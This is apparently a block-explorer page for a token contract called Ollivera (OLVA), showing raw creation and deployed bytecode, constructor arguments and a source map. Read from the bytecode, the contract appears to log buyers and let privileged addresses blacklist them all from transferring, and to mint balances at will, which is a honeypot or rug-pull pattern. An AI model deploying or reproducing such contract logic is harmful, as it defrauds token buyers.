50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b415750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611b4a57600080fd5b60005b83839050811015611be4576001806000868685818110611b6957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611b4d565b506001905092915050565b600080611c41600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611eea565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611cec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80611d445750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611d7a57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611dd25750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611e265750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e35576001915050611ee3565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e91576000915050611ee3565b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611edd57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611f29578385611f2c565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b50805460008255906000526020600020908101906120549190612057565b50565b5b80821115612070576000816000905550600101612058565b509056fea2646970667358221220e41fb079ed185a1d8c38ca342dca69fae66299b987225975f6959de987e00c5064736f6c634300060c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000084f6c6c697665726100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f4c564100000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101405760003560e01c80638a4068dd116100b6578063c83dd2311161006f578063c83dd231146107bf578063cfaaa26614610800578063d20c50d514610867578063d5f39488146108a8578063dd62ed3e146108e9578063fb7ed9611461096e57610140565b80638a4068dd1461053757806395d89b4114610564578063a9059cbb146105f4578063aa2f522014610658578063ad5c46481461073d578063b4a99a4e1461077e57610140565b8063431aabc211610108578063431aabc2146103135780635777e93d146103645780636b768073146103a557806370a0823114610441578063811c34d3146104a6578063892cd8f5146104d357610140565b806306fdde0314610145578063095ea7b3146101d557806318160ddd1461023957806323b872dd14610264578063313ce567146102e8575b600080fd5b34801561015157600080fd5b5061015a610a0a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610221600480360360408110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa8565b60405180821515815260200191505060405180910390f35b34801561024557600080fd5b5061024e610b9a565b6040518082815260200191505060405180910390f35b6102d06004803603606081101561027a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba0565b60405180821515815260200191505060405180910390f35b3480156102f457600080fd5b506102fd610f40565b6040518082815260200191505060405180910390f35b34801561031f57600080fd5b5061034c6004803603602081101561033657600080fd5b8101908080359060200190929190505050610f45565b60405180821515815260200191505060405180910390f35b34801561037057600080fd5b5061037961100f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b157600080fd5b50610429600480360360208110156103c857600080fd5b81019080803590602001906401000000008111156103e557600080fd5b8201836020820111156103f757600080fd5b8035906020019184602083028401116401000000008311171561041957600080fd5b9091929391929390505050611035565b60405180821515815260200191505060405180910390f35b34801561044d57600080fd5b506104906004803603602081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118f565b6040518082815260200191505060405180910390f35b3480156104b257600080fd5b506104bb6111a7565b60405180821515815260200191505060405180910390f35b61051f600480360360408110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131d565b60405180821515815260200191505060405180910390f35b34801561054357600080fd5b5061054c61148f565b60405180821515815260200191505060405180910390f35b34801561057057600080fd5b50610579611605565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b957808201518184015260208101905061059e565b50505050905090810190601f1680156105e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106406004803603604081101561060a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116a3565b60405180821515815260200191505060405180910390f35b34801561066457600080fd5b506107256004803603604081101561067b57600080fd5b810190808035906020019064010000000081111561069857600080fd5b8201836020820111156106aa57600080fd5b803590602001918460208302840111640100000000831117156106cc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506116b8565b60405180821515815260200191505060405180910390f35b34801561074957600080fd5b506107526118b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078a57600080fd5b506107936118dd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107cb57600080fd5b506107d4611903565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080c57600080fd5b5061084f6004803603602081101561082357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611929565b60405180821515815260200191505060405180910390f35b34801561087357600080fd5b5061087c611a27565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108b457600080fd5b506108bd611a4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108f557600080fd5b506109586004803603604081101561090c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a71565b6040518082815260200191505060405180910390f35b34801561097a57600080fd5b506109f26004803603602081101561099157600080fd5b81019080803590602001906401000000008111156109ae57600080fd5b8201836020820111156109c057600080fd5b803590602001918460208302840111640100000000831117156109e257600080fd5b9091929391929390505050611a96565b60405180821515815260200191505060405180910390f35b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa05780601f10610a7557610100808354040283529160200191610aa0565b820191906000526020600020905b815481529060010190602001808311610a8357829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c5481565b600080821415610bb35760019050610f39565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cfa5781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c6f57600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b6005548210610d67576004839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600554821015610dd5576003839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610de0848484611bef565b610de957600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3557600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ff05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b6012600a0a820260058190555060019050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110e05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110e957600080fd5b60005b838390508110156111845760016002600086868581811061110957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110ec565b506001905092915050565b600a6020528060005260406000206000915090505481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112525750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61125b57600080fd5b60005b600380549050811015611307576001600260006003848154811061127e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061125e565b50600360006113169190612036565b6001905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113c85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6113d157600080fd5b600082111561142e576012600a0a8202600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061153a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61154357600080fd5b60005b6004805490508110156115ef576001600260006004848154811061156657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611546565b50600460006115fe9190612036565b6001905090565b600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561169b5780601f106116705761010080835404028352916020019161169b565b820191906000526020600020905b81548152906001019060200180831161167e57829003601f168201915b505050505081565b60006116b0338484610ba0565b905092915050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461171457600080fd5b600083516012600a0a840202905080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561176e57600080fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b84518110156118ab5760008582815181106117d557fe5b602002602001015190506012600a0a8502600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a88026040518082815260200191505060405180910390a35080806001019150506117be565b50600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119d45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6119dd57600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b415750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611b4a57600080fd5b60005b83839050811015611be4576001806000868685818110611b6957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611b4d565b506001905092915050565b600080611c41600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611eea565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611cec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80611d445750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611d7a57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611dd25750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611e265750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e35576001915050611ee3565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e91576000915050611ee3565b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611edd57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611f29578385611f2c565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b50805460008255906000526020600020908101906120549190612057565b50565b5b80821115612070576000816000905550600101612058565b509056fea2646970667358221220e41fb079ed185a1d8c38ca342dca69fae66299b987225975f6959de987e00c5064736f6c634300060c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000084f6c6c697665726100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f4c564100000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Ollivera
Arg [1] : _symbol (string): OLVA
Arg [2] : _supply (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 4f6c6c6976657261000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 4f4c564100000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4211:5630:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9417:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5659:213;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9387:23;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4973:680;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9346:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6720:197;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6435:21;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8310:267;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9227:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8031:273;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;5878:282;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7753:272;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9442:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4408:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8583:543;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7182:64;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9469:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7108:67;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6923:179;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6166:68;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9132:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9276:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6463:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9417:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5659:213::-;5731:4;5782:6;5748:9;:21;5758:10;5748:21;;;;;;;;;;;;;;;:31;5770:8;5748:31;;;;;;;;;;;;;;;:40;;;;5825:8;5804:38;;5813:10;5804:38;;;5835:6;5804:38;;;;;;;;;;;;;;;;;;5860:4;5853:11;;5659:213;;;;:::o;9387:23::-;;;;:::o;4973:680::-;5060:4;5091:1;5081:6;:11;5077:55;;;5116:4;5109:11;;;;5077:55;5160:5;5146:19;;:10;:19;;;5142:152;;5222:6;5190:9;:16;5200:5;5190:16;;;;;;;;;;;;;;;:28;5207:10;5190:28;;;;;;;;;;;;;;;;:38;;5182:47;;;;;;5276:6;5244:9;:16;5254:5;5244:16;;;;;;;;;;;;;;;:28;5261:10;5244:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;5142:152;5319:6;;5309;:16;5304:47;;5329:10;5345:3;5329:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5304:47;5375:6;;5366;:15;5361:45;;;5385:9;5400:3;5385:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5361:45;5424:26;5431:5;5438:3;5443:6;5424;:26::i;:::-;5416:35;;;;;;5490:6;5470:9;:16;5480:5;5470:16;;;;;;;;;;;;;;;;:26;;5462:35;;;;;;5528:6;5508:9;:16;5518:5;5508:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;5563:6;5545:9;:14;5555:3;5545:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;5611:3;5595:28;;5604:5;5595:28;;;5616:6;5595:28;;;;;;;;;;;;;;;;;;5641:4;5634:11;;4973:680;;;;;;:::o;9346:34::-;9378:2;9346:34;:::o;6720:197::-;6767:4;6805:8;;;;;;;;;;;6791:22;;:10;:22;;;:45;;;;6831:5;;;;;;;;;;;6817:19;;:10;:19;;;6791:45;6783:54;;;;;;9378:2;6865;:21;6857:6;:30;6848:6;:39;;;;6905:4;6898:11;;6720:197;;;:::o;6435:21::-;;;;;;;;;;;;;:::o;8310:267::-;8379:4;8418:8;;;;;;;;;;;8404:22;;:10;:22;;;:45;;;;8444:5;;;;;;;;;;;8430:19;;:10;:19;;;8404:45;8396:54;;;;;;8466:6;8461:87;8482:9;;:16;;8478:1;:20;8461:87;;;8542:4;8516:9;:23;8526:9;;8536:1;8526:12;;;;;;;;;;;;;;;8516:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;8500:3;;;;;;;8461:87;;;;8565:4;8558:11;;8310:267;;;;:::o;9227:42::-;;;;;;;;;;;;;;;;;:::o;8031:273::-;8071:4;8111:8;;;;;;;;;;;8097:22;;:10;:22;;;:45;;;;8137:5;;;;;;;;;;;8123:19;;:10;:19;;;8097:45;8088:55;;;;;;8159:6;8154:90;8175:9;:16;;;;8171:1;:20;8154:90;;;8238:4;8213:9;:23;8223:9;8233:1;8223:12;;;;;;;;;;;;;;;;;;;;;;;;;8213:23;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;8193:3;;;;;;;8154:90;;;;8265:9;;8258:16;;;;:::i;:::-;8292:4;8285:11;;8031:273;:::o;5878:282::-;5949:4;5988:8;;;;;;;;;;;5974:22;;:10;:22;;;:45;;;;6014:5;;;;;;;;;;;6000:19;;:10;:19;;;5974:45;5966:54;;;;;;6043:1;6034:6;:10;6031:67;;;9378:2;6074;:21;6066:6;:30;6047:9;:15;6057:4;6047:15;;;;;;;;;;;;;;;;:49;;;;;;;;;;;6031:67;6126:4;6108:11;:17;6120:4;6108:17;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;6148:4;6141:11;;5878:282;;;;:::o;7753:272::-;7789:4;7829:8;;;;;;;;;;;7815:22;;:10;:22;;;:45;;;;7855:5;;;;;;;;;;;7841:19;;:10;:19;;;7815:45;7806:55;;;;;;7877:6;7872:92;7893:10;:17;;;;7889:1;:21;7872:92;;;7958:4;7932:9;:24;7942:10;7953:1;7942:13;;;;;;;;;;;;;;;;;;;;;;;;;7932:24;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;7912:3;;;;;;;7872:92;;;;7985:10;;7978:17;;;;:::i;:::-;8013:4;8006:11;;7753:272;:::o;9442:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4408:135::-;4476:4;4498:37;4511:10;4523:3;4528:6;4498:12;:37::i;:::-;4491:44;;4408:135;;;;:::o;8583:543::-;8654:4;8694:5;;;;;;;;;;;8680:19;;:10;:19;;;8671:29;;;;;;8711:10;8757:4;:11;9378:2;8732;:21;8724:6;:30;:44;8711:57;;8812:5;8787:9;:21;8797:10;8787:21;;;;;;;;;;;;;;;;:30;;8779:39;;;;;;8854:5;8829:9;:21;8839:10;8829:21;;;;;;;;;;;;;;;;:30;;;;;;;;;;;8875:6;8870:227;8891:4;:11;8887:1;:15;8870:227;;;8924:11;8938:4;8943:1;8938:7;;;;;;;;;;;;;;8924:21;;9378:2;8986;:21;8978:6;:30;8960:9;:14;8970:3;8960:14;;;;;;;;;;;;;;;;:48;;;;;;;;;;;9049:3;9028:57;;9037:10;9028:57;;;9378:2;9062;:21;9054:6;:30;9028:57;;;;;;;;;;;;;;;;;;8870:227;8904:3;;;;;;;8870:227;;;;9114:4;9107:11;;;8583:543;;;;:::o;7182:64::-;;;;;;;;;;;;;:::o;9469:20::-;;;;;;;;;;;;;:::o;7108:67::-;;;;;;;;;;;;;:::o;6923:179::-;6978:4;7017:8;;;;;;;;;;;7003:22;;:10;:22;;;:45;;;;7043:5;;;;;;;;;;;7029:19;;:10;:19;;;7003:45;6994:55;;;;;;7069:3;7060:6;;:12;;;;;;;;;;;;;;;;;;7090:4;7083:11;;6923:179;;;:::o;6166:68::-;;;;;;;;;;;;:::o;9132:88::-;;;;;;;;;;;;;:::o;9276:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6463:251::-;6524:4;6563:8;;;;;;;;;;;6549:22;;:10;:22;;;:45;;;;6589:5;;;;;;;;;;;6575:19;;:10;:19;;;6549:45;6541:54;